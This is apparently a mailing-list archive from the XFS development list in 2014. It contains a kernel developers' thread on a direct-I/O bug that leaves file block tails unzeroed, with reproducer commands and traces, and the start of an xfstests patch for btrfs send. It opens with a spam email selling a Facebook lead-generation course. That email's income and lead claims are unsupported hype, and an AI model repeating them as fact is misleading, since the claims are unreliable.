UVC/JTBOvqDmBf40z/sUXJJ+4HB4IkAsmpMJ77pAHdfWcs+LAR9wGIWFKujZOlItXn9S 2XRNWomiRF0dxS+Et5Ae3Q00wvBF0B+w6ULdhwlztnmBqrVmD4XSzUzpEtw24pk0iyjk UCWg== MIME-Version: 1.0 X-Received: by 10.194.92.83 with SMTP id ck19mr6800074wjb.30.1395011128521; Sun, 16 Mar 2014 16:05:28 -0700 (PDT) Received: by 10.216.207.14 with HTTP; Sun, 16 Mar 2014 16:05:28 -0700 (PDT) Date: Sun, 16 Mar 2014 19:05:28 -0400 Message-ID: Subject: 6 Reasons why Facebook=Success From: Wanda Eller X-ASG-Orig-Subj: 6 Reasons why Facebook=Success To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=047d7bd90944c616da04f4c156a7 X-Barracuda-Connect: mail-wi0-f195.google.com[209.85.212.195] X-Barracuda-Start-Time: 1395017170 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3973 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7bd90944c616da04f4c156a7 Content-Type: text/plain; charset=ISO-8859-1 Right now you're in a bit of a bind. Your business isn't where you want it to be, and while you know now that Facebook is a great place to get leads... You also know there is a steep learning curve ahead for you IF you were battle the FaceBook beast all alone. There's a MUCH faster and smarter way to freedom my friend: you can take the shortcut that we are providing you, and get started RIGHT AWAY... Here's the link if you want the short cut: http://facebookleads.timsleads.com/ Here's are 6 Reasons You'll Want That Shortcut Today: 1 - Facebook is an endless supply of leads with over a billion users and tons of home biz owners who flock there every single day. You'll never run out of people to talk to when you understand Michelle's proven secrets. 2 - Anybody can start using it at any level. There's no special skill required, just this special teacher to show you exactly how to get the type of results that you're after. 3 - This is A-Z training with absolutely no guess work! 4 - You can build an audience and loyal fan base to sell affiliate products, your own products, or even a biz opp if you want. This training is totally universal, and selling your stuff will be as simple as turning on a faucet after this course! Click the Link Below to See Exactly How: http://facebookleads.timsleads.com/ 5 - This will get you UNSTUCK for your lead generation. If you're sitting there fretting about zero lead days, this will quickly take you from zero to a consistent steady lead flow. 6 - This is literally the same exact blueprint that Michelle used to build a six-figure business in 6 months time, and the same one that she still uses on a daily basis. You want it?! Here's the link below... http://facebookleads.timsleads.com/ It's time for you to take your biz into your own hands, and kick it up a notch. You can't do that without leads. http://facebookleads.timsleads.com/ If you no longer wish to receive emails from me simply reply to this email and put unsubscribe in the subject line --047d7bd90944c616da04f4c156a7 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable




Right now you're in a bit of a bind.Your business isn't where you want it to be,
and while you know no= w that Facebook is
a great place to get leads...
=A0
You also kno= w there is a steep learning curve
ahead for you IF you were battle the FaceBook
beast all alone.
=A0There's a MUCH faster and smarter way to
freedom my friend: you ca= n take the shortcut
that we are providing you, and get started RIGHT AWA= Y...
=A0
Here's the link if you want the short cut:


http://facebookleads.timsleads.com/


Here's are 6 Reasons You'll Want That Shortcut Today:=
=A0
1 - Facebook is an endless supply of leads with over a billion
u= sers and tons of home biz owners who flock there every
single day. You&= #39;ll never run out of people to talk to when
you understand Michelle&#= 39;s proven secrets.
=A0
2 - Anybody can start using it at any level. There's no special =
skill required, just this special teacher to show you exactly
how t= o get the type of results that you're after.
=A0
3 - This is A-Z= training with absolutely no guess work!
=A0
4 - You can build an audience and loyal fan base to sell
affilia= te products, your own products, or even a biz opp
if you want. This trai= ning is totally universal, and selling
your stuff will be as simple as t= urning on a faucet after this course!
=A0
Click the Link Below to See Exactly How:

http://facebookleads.timsleads.com/

=
5 - This will get you UNSTUCK for your lead generation.
If you'= re sitting there fretting about zero lead days,
this will quickly take you from zero to a consistent steady lead flow.
= =A0
6 - This is literally the same exact blueprint that Michelle used=A0to build a six-figure business in 6 months time, and the same
one t= hat she still uses on a daily basis.
=A0
You want it?!
=A0
Here's the link below...

http://facebookleads.timsleads.com= /

It's time for you to take your biz into your own hands, an= d
kick it up a notch.
=A0
You can't do that without leads.
=A0http://facebookleads.tims= leads.com/

If you no longer wish to receive emails from me simpl= y reply
to this email and put unsubscribe in the subject line
--047d7bd90944c616da04f4c156a7-- From viro@ftp.linux.org.uk Sun Mar 16 20:28:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BBD037F61 for ; Sun, 16 Mar 2014 20:28:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AB66A8F8035 for ; Sun, 16 Mar 2014 18:28:11 -0700 (PDT) X-ASG-Debug-ID: 1395019689-04cbb054b73fab10001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id UqVsp7UF0NNwYjH5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 16 Mar 2014 18:28:10 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WPMLV-0001aC-01; Mon, 17 Mar 2014 01:28:05 +0000 Date: Mon, 17 Mar 2014 01:28:04 +0000 From: Al Viro To: Dave Chinner Cc: Brian Foster , linux-fsdevel@vger.kernel.org, Dave Chinner , xfs@oss.sgi.com Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140317012804.GU18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140317001130.GA7072@dastard> <20140317002918.GT18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140317002918.GT18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1395019690 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 17, 2014 at 12:29:18AM +0000, Al Viro wrote: > I think I know what's going on - O_DIRECT write starting a bit before > EOF on a file with the last extent that can be grown. It fills > a buffer_head with b_size extending quite a bit past the EOF; the > blocks are really allocated. What causes the problem is that we > have the flags set for the *first* block. IOW, buffer_new(bh) is > false - the first block has already been allocated. And for > direct-io.c it means "no zeroing the tail of the last block". BTW, that's something I have directly observed - xfs_get_blocks_direct() called with iblock corresponding to a bit under 16Kb below EOF and returning with ->b_size equal to 700K and ->b_flags not containing BH_New. Once that has happened, the rest is inevitable - do_direct_IO() will shove the userland data (~80Kb) into the blocks starting from one in ->b_blocknr and dio_zero_block() called after it will do nothing, since as far as it knows these blocks were not new - BH_New isn't there. We may or may not get a visible junk (after all, the block tail might have contained zeros), but the situation above is easily reproduced and when it happens, there will be no zeroing out. Actually, I'm not sure if the comment in direct-io.c (just before get_more_blocks()) is correct; it says * If the fs has mapped a lot of blocks, it should populate bh->b_size to * indicate how much contiguous disk space has been made available at * bh->b_blocknr. * * If *any* of the mapped blocks are new, then the fs must set buffer_new(). * This isn't very efficient... but that is unsafe - consider a situation when you are writing 20Kb from e.g. 0.5Kb offset from the beginning of last (4Kb) block. You have 6 blocks affected, right? One old, five new. And you want the last half-kilobyte of the new last block zeroed out. What you do _not_ want is zeroing out the half-kilobyte just before the affected area - the data there should stay. IOW, we really can't mix new and old blocks in that interface - not enough information is passed back to caller to be able to decide what does and what does not need zeroing out. It should be either all-new or all-old. And it's not just the EOF, of course - the beginning of a hole in a sparse file isn't any different from the end of file in that respect. From david@fromorbit.com Sun Mar 16 20:36:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 632467F63 for ; Sun, 16 Mar 2014 20:36:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 36B96304032 for ; Sun, 16 Mar 2014 18:36:45 -0700 (PDT) X-ASG-Debug-ID: 1395020202-04bdf05daa62a0b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id aS57HE6se1B5mFE2 for ; Sun, 16 Mar 2014 18:36:42 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlZTABdRJlN5LMWSPGdsb2JhbABZgwaDRoUMtGmFWoEVFwMBAQEBODWCJQEBAQMBJxMcIwULCAMYCSUPBSUDBxoTh3EH0kAXFo5SB4MkgRQEmEWUH4FSKQ Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Mar 2014 12:06:41 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WPMTn-0002MH-4B; Mon, 17 Mar 2014 12:36:39 +1100 Date: Mon, 17 Mar 2014 12:36:39 +1100 From: Dave Chinner To: Al Viro Cc: Brian Foster , xfs@oss.sgi.com, Dave Chinner , linux-fsdevel@vger.kernel.org Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140317013638.GB7072@dastard> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140316022105.GQ18016@ZenIV.linux.org.uk> <20140316023931.GR18016@ZenIV.linux.org.uk> <20140316205624.GS18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140316205624.GS18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1395020202 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Mar 16, 2014 at 08:56:24PM +0000, Al Viro wrote: > On Sun, Mar 16, 2014 at 02:39:31AM +0000, Al Viro wrote: > > > Hrm... s/unused/not zeroed out/, actually - block size is 4K. So we have > > an empty file extended by ftruncate(), then mmap+msync+munmap in its tail, > > then O_DIRECT write starting from a couple of blocks prior to EOF and > > extending it by ~15 blocks. New EOF is 2.5Kb off the beginning of the > > (new) last block. Then it's closed. Remaining 1.5Kb of that last > > block is _not_ zeroed out; moreover, pagefault on that page ends up > > reading the entire block, the junk in the tail not getting zeroed out > > in in-core copy either. Interesting... > > AFAICS, what happens is that we hit this > /* > * If this is O_DIRECT or the mpage code calling tell them how large > * the mapping is, so that we can avoid repeated get_blocks calls. > */ > if (direct || size > (1 << inode->i_blkbits)) { > xfs_off_t mapping_size; > > mapping_size = imap.br_startoff + imap.br_blockcount - iblock; > mapping_size <<= inode->i_blkbits; > > ASSERT(mapping_size > 0); > if (mapping_size > size) > mapping_size = size; > if (mapping_size > LONG_MAX) > mapping_size = LONG_MAX; > > bh_result->b_size = mapping_size; > } > and while the caller (do_direct_IO()) is quite happy to skip subsequent calls > of get_block, buffer_new() is *NOT* set by that one. Fair enough, since the > _first_ block of that run (the one we'd called __xfs_get_blocks() for) isn't > new, but dio_zero_block() for the partial block in the end of the area gets > confused by that. It's not obvious from your description what the issue is here. If i run the obvious reproducer from your description: $ xfs_io -fd -c "truncate $((262144 - 1536))" \ > -c "mmap 0 260k" -c "mwrite 253k 1k" -c msync -c munmap \ > -c "pwrite -b 32k $((262144 - 8192 - 2560)) 32k" \ > -c "mmap 276k 4k" -c "mread -v 276k 4k" /mnt/test/blah Is see the correct behaviour in the block mapping calls out of direct IO: xfs_io-7113 [000] 9135.446574: xfs_file_direct_write: dev 253:16 ino 0x83 size 0x3fa00 offset 0x3d600 count 0x8000 ioflags xfs_io-7113 [000] 9135.446597: xfs_get_blocks_alloc: dev 253:16 ino 0x83 size 0x3fa00 offset 0x3d000 count 36864 type startoff 0x3d startblock 13 blockcount 0x2 xfs_io-7113 [000] 9135.446603: xfs_get_blocks_found: dev 253:16 ino 0x83 size 0x3fa00 offset 0x3f000 count 28672 type startoff 0x3f startblock 12 blockcount 0x1 xfs_io-7113 [000] 9135.447037: xfs_get_blocks_alloc: dev 253:16 ino 0x83 size 0x3fa00 offset 0x40000 count 24576 type startoff 0x40 startblock 15 blockcount 0x6 The first call is to allocate into the blocks before the EOF block, the second maps the EOF block, and the third allocates the remainder beyond EOF. And buffer_new() is set on both of the allocation ranges that are mapped, and the tail block has zeroes written into it correctly the the mmap read gives zeroes in teh region beyond EOF. Can you give me a script that reproduces the problem for you? The above trace output came from: # ~/trace-cmd/trace-cmd record -e xfs_get_block\* -e xfs_map_block\* -e xfs_file\* .... [run command in different shell] ^C # ~/trace-cmd/trace-cmd report > Basically, with direct-io.c as it is, get_block may report more than one > block if they are contiguous on disk *AND* are all old or all new. Returning > several old blocks + several freshly allocated is broken, and "preallocated" > is the same as "freshly allocated" in that respect - they need to be zeroed. > > Looks like __xfs_get_blocks() is broken in that respect - I'm definitely > seeing O_DIRECT write() crossing the EOF calling it *once*, getting > ->b_size set to a lot more than what remains until EOF and buffer_head > not getting BH_New on it. XFS should never do that. It does not mix existing block mappings with newly allocated mappings, and so the newly allocated region beyond EOF should always give a "xfs_get_blocks_alloc" trace, and when that is emitted we always set buffer_new().... > And once that has happened, we are SOL - the > tail of the last block isn't zeroed. Increase of prealloc size made that > more likely to happen (unsurprisingly, since it can only happen when blocks > adjacent to the last block of file are not taken by anything else). Right, but I still don't see what userspace IO pattern is triggering this block mapping weirdness. A script that replicates it without involving mmap() at all would be nice... Cheers, Dave. -- Dave Chinner david@fromorbit.com From viro@ftp.linux.org.uk Sun Mar 16 20:38:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 035B17F69 for ; Sun, 16 Mar 2014 20:38:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D457C8F8035 for ; Sun, 16 Mar 2014 18:38:05 -0700 (PDT) X-ASG-Debug-ID: 1395020283-04cb6c56775f0750001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id T84rLdJNHhcmTTTY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 16 Mar 2014 18:38:04 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WPMV6-0001gd-EN; Mon, 17 Mar 2014 01:38:00 +0000 Date: Mon, 17 Mar 2014 01:38:00 +0000 From: Al Viro To: Dave Chinner Cc: Brian Foster , linux-fsdevel@vger.kernel.org, Dave Chinner , xfs@oss.sgi.com Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140317013759.GV18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140317001130.GA7072@dastard> <20140317002918.GT18016@ZenIV.linux.org.uk> <20140317012804.GU18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140317012804.GU18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1395020284 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 17, 2014 at 01:28:04AM +0000, Al Viro wrote: > but that is unsafe - consider a situation when you are writing 20Kb from e.g. > 0.5Kb offset from the beginning of last (4Kb) block. You have 6 blocks > affected, right? One old, five new. And you want the last half-kilobyte s/the last/all but the first/, sorry. Basically, we want to get from OOOOOOOO (8 sectors of old data) to ONNNNNNN|NNNNNNNN|NNNNNNNN|NNNNNNNN|NNNNNNNN|NZZZZZZZ (1 sector of old data, 40 sectors of new data, 7 sectors of zeroes). We want the last 7 sectors zeroed out, but we do *not* want that to happen to the one sector of old data. OTOH, if the file had been 4K shorter (and all blocks had been new) we would want ZNNNNNNN|NNNNNNNN|NNNNNNNN|NNNNNNNN|NNNNNNNN|NZZZZZZZ. IOW, it's not just the last block we want to know about. There's simply not enough bandwidth in that interface to pass the information we would need for such mixed block runs... From david@fromorbit.com Sun Mar 16 20:42:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BB24F7F6D for ; Sun, 16 Mar 2014 20:42:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7C958304039 for ; Sun, 16 Mar 2014 18:42:01 -0700 (PDT) X-ASG-Debug-ID: 1395020519-04bdf05dab62a430001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id k16p22vty6BxKnn1 for ; Sun, 16 Mar 2014 18:41:59 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlZTAEJSJlN5LMWSPGdsb2JhbABZgwaDRoUMtGmFWoEVFwMBAQEBODWCJQEBAQMBJxMcIwULCAMYCSUPBSUDBxoTh3EH0kAXFo5SB4MkgRQBA5hFlB+BUik Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Mar 2014 12:11:58 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WPMYu-0002NG-UF; Mon, 17 Mar 2014 12:41:56 +1100 Date: Mon, 17 Mar 2014 12:41:56 +1100 From: Dave Chinner To: Al Viro Cc: Brian Foster , linux-fsdevel@vger.kernel.org, Dave Chinner , xfs@oss.sgi.com Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140317014156.GC7072@dastard> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140317001130.GA7072@dastard> <20140317002918.GT18016@ZenIV.linux.org.uk> <20140317012804.GU18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140317012804.GU18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1395020519 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 17, 2014 at 01:28:04AM +0000, Al Viro wrote: > On Mon, Mar 17, 2014 at 12:29:18AM +0000, Al Viro wrote: > > > I think I know what's going on - O_DIRECT write starting a bit before > > EOF on a file with the last extent that can be grown. It fills > > a buffer_head with b_size extending quite a bit past the EOF; the > > blocks are really allocated. What causes the problem is that we > > have the flags set for the *first* block. IOW, buffer_new(bh) is > > false - the first block has already been allocated. And for > > direct-io.c it means "no zeroing the tail of the last block". > > BTW, that's something I have directly observed - xfs_get_blocks_direct() > called with iblock corresponding to a bit under 16Kb below EOF and > returning with ->b_size equal to 700K and ->b_flags not containing BH_New. What's the userspace IO pattern that triggers this? > IOW, we really can't mix new and old blocks in that interface - not enough > information is passed back to caller to be able to decide what does and > what does not need zeroing out. It should be either all-new or all-old. Right, and XFS should not be mixing old and new in the way you are describing, and that's what I can't reproduce. See my reply on the other thread. Probably best to continue there... > And it's not just the EOF, of course - the beginning of a hole in a sparse > file isn't any different from the end of file in that respect. Except that XFS treats that differently - it does allocation as unwritten extents there, and any mapping that covers an unwritten block will always result in buffer_new() getting set... Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Sun Mar 16 21:17:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0C8E87F7B for ; Sun, 16 Mar 2014 21:17:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 69BFDAC002 for ; Sun, 16 Mar 2014 19:17:41 -0700 (PDT) X-ASG-Debug-ID: 1395022630-04cb6c56755f1ed0001-NocioJ Received: from mail-wg0-f47.google.com (mail-wg0-f47.google.com [74.125.82.47]) by cuda.sgi.com with ESMTP id pauE9HMm6Otk2pfS (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Mar 2014 19:17:11 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.47 Received: by mail-wg0-f47.google.com with SMTP id x12so4104641wgg.30 for ; Sun, 16 Mar 2014 19:17:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=gWLGYmYvVqHDXW4n4d1JsR0jD1iAulSeoc1H2UptF00=; b=Yc77oJLpJcR99ftTQs8HH0YZWcpB2HQkL9dS19bJr7ha6vrbmctPfhVQjA9KjSWm1U cnKV2xu8UKZcetYufBS5BViKlBizWoZu0jBaGuRm92KnFQAlSWpl8mUDp0p55VpE8cgU sqS7pbjYuHsO5uVApX9TMwALZEJoGYcSSlI032010xD2VJCxT88OAnTCk/8dFJ7aBoeO SCyp1O0jj17gjiV3yaYYWUtAEOiR7lY79k+E8Y4K0lGoew9uNxAFqCsh2vICOa88ZhJC sN/kNHkRXZYWNmuWdqOX5pu25gYo4PMc6wLPzgdgn3DmKUlohqUJ5V7WbnwokgdWJukp Aipw== X-Received: by 10.194.2.70 with SMTP id 6mr16212342wjs.25.1395022630292; Sun, 16 Mar 2014 19:17:10 -0700 (PDT) Received: from debian-vm3.lan (bl10-140-160.dsl.telepac.pt. [85.243.140.160]) by mx.google.com with ESMTPSA id ju6sm34159438wjc.1.2014.03.16.19.17.02 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 16 Mar 2014 19:17:09 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add test for btrfs send regarding directory moves/renames Date: Mon, 17 Mar 2014 02:16:16 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add test for btrfs send regarding directory moves/renames Message-Id: <1395022576-17367-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.10.4 In-Reply-To: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> References: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wg0-f47.google.com[74.125.82.47] X-Barracuda-Start-Time: 1395022631 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3976 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue where the kernel entered an infinite loop building a path string. This happened when either of the 2 following cases happened: 1) A directory was made a child of another directory which has a lower inode number and has a pending move/rename operation; 2) A directory was made a child of another directory which has a higher inode number, but the new parent wasn't moved nor renamed. Instead some other ancestor higher in the hierarchy, with an higher inode number too, was moved/renamed too. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix incremental send's decision to delay a dir move/rename Btrfs: part 2, fix incremental send's decision to delay a dir move/rename Signed-off-by: Filipe David Borba Manana --- V2: Added more tests. tests/btrfs/045 | 177 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/045.out | 1 + tests/btrfs/group | 1 + 3 files changed, 179 insertions(+) create mode 100755 tests/btrfs/045 create mode 100644 tests/btrfs/045.out diff --git a/tests/btrfs/045 b/tests/btrfs/045 new file mode 100755 index 0000000..ee91240 --- /dev/null +++ b/tests/btrfs/045 @@ -0,0 +1,177 @@ +#! /bin/bash +# FS QA Test No. btrfs/045 +# +# Regression test for a btrfs incremental send issue where the kernel entered +# an infinite loop building a path string. This happened when either of the +# 2 following cases happened: +# +# 1) A directory was made a child of another directory which has a lower inode +# number and has a pending move/rename operation; +# +# 2) A directory was made a child of another directory which has a higher inode +# number, but the new parent wasn't moved nor renamed. Instead some other +# ancestor higher in the hierarchy, with an higher inode number too, was +# moved/renamed too. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix incremental send's decision to delay a dir move/rename +# Btrfs: part 2, fix incremental send's decision to delay a dir move/rename +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. 